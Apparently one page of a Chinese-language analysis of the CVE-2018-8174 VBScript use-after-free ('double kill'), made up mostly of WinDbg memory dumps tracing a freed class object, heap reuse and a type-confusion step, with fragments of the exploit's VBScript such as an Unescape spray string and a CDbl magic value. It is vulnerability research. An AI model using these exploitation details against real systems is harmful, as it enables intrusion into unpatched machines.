CVE-2018-8174双杀漏洞分析复现及防御

来源:岁月联盟 编辑:猪蛋儿 时间:2020-01-29
eip=7130c206 esp=0249c48c ebp=0249c49c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vbscript!VbsIsEmpty:
7130c206 8bff            mov     edi,edi
0:005> dd poi(esp+c)
01cd08a8  00000008 00000000 01cc7f6c 00000003
01cd08b8  02490002 01cd2fa8 01cb0006 0249c454
01cd08c8  02490002 01cd2fa8 01cb0001 0249c454
01cd08d8  00000000 00000000 00000000 00000000
01cd08e8  00000000 00000000 00000000 00000000
01cd08f8  00000000 00000000 00000000 00000000
01cd0908  00000005 00000000 00000000 00000003
01cd0918  0249c720 01cd0938 01cb2560 712f4211
0:005> du 01cc7f6c
01cc7f6c  "finish set array_c to 0"
//再看类对象地址已经被free
0:005> dd 1cb2560
01cb2560  712f00d4 00000000 00000000 00000000
01cb2570  000003ec 00000000 00000000 00000000
01cb2580  00000000 002a613c 00000000 00000000
01cb2590  59acc23f 8c000000 712fce78 71303100
01cb25a0  713030f0 00000002 003be638 01cd27d0
01cb25b0  0029f090 0249cb64 00000000 00000000
01cb25c0  00000000 00000000 59acc234 80000000
01cb25d0  712f00db 71303100 713030f0 00000000
0:005> !heap -p -a 1cb2560
    address 01cb2560 found in
    _HEAP @ 3b0000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        01cb2558 0007 0000  [00]   01cb2560    00030 - (free)
cla7的Get P中的第二次IsEmpty,占位:
Breakpoint 3 hit
eax=712f185c ebx=0249c5f8 ecx=7134a9d8 edx=0249c570 esi=01cc7394 edi=00000001
eip=7130c206 esp=0249c48c ebp=0249c49c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
vbscript!VbsIsEmpty:
7130c206 8bff            mov     edi,edi
0:005> dd 1cb2560
01cb2560  712f1748 00000002 01cb5210 003be638  //占位成功 ,01cb5210为cla5.mem
01cb2570  000003ec 00000000 00000000 00000000
01cb2580  00000000 002a613c 00000000 01cb2528
01cb2590  59acc23f 8c000000 712fce78 71303100
01cb25a0  713030f0 00000002 003be638 01cd27d0
01cb25b0  0029f090 0249cb64 00000000 00000000
01cb25c0  00000000 00000000 59acc234 8c000000
01cb25d0  712fce78 71303100 713030f0 00000001
0:005> du 002a613c
002a613c  "cla5"            
:005> dd 01cb5210
01cb5210  01cb76d8 000000b8 00000100 00000100
01cb5220  00004000 01cb76dc 01cb777c 01cb3ec0
01cb5230  0000000f 00000003 00000040 00000003
01cb5240  00000014 01cb5248 01cb76dc 01cb7724
01cb5250  01cb775c 000004a3 00000000 01cb51b8
01cb5260  01cb522c 00000002 00000000 000004a5
01cb5270  000004aa 00000c93 00000002 00000000
01cb5280  000004ab 000004af 000017a6 00000012
//可以看到占位后的地址是 01cb775c 与上面保存的占位前的mem的地址01cb7750相差0xc
0:005> dd 01cb775c       
01cb775c  00000008 00000000 002de31c 00000000 //原始类型为一个0x08 vbstring类型
01cb776c  00000000 00000000 0000822f 00000006
01cb777c  00000000 00000000 00000003 45001e5b
//当前字符串的内容为:str_2=Unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000")
0:005> dd 002de31c
002de31c  00000000 00000000 00000000 00000000
002de32c  00000000 00000000 00000000 585693f2
cla7的Get P中的第三次IsEmpty,类型混淆:
0:005>  dd 01cb5210
01cb5210  01cb76d8 000000b8 00000100 00000100
01cb5220  00004000 01cb76dc 01cb777c 01cb3ec0
01cb5230  0000000f 00000003 00000040 00000003
01cb5240  00000014 01cb5248 01cb76dc 01cb7724
01cb5250  01cb775c 000004a3 00000000 01cb51b8
01cb5260  01cb522c 00000002 00000000 000004a5
01cb5270  000004aa 00000c93 00000002 00000000
01cb5280  000004ab 000004af 000017a6 00000012
0:005> dd 01cb775c
01cb775c  00000003 00000000 002de31c 00000000   //类型更改后,0x03是vbLong类型01cb776c  00000000 00000000 0000822f 00000006
01cb777c  00000000 00000000 00000003 45001e5b
//P=CDbl("636598737289582e-328")  //dd 00000005 00000000 00000000 000000030:005> dd 01cb775c-c
01cb7750  00000005 00000000 00000000 00000003  

上一页  [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] [16] [17] [18] [19] [20]  下一页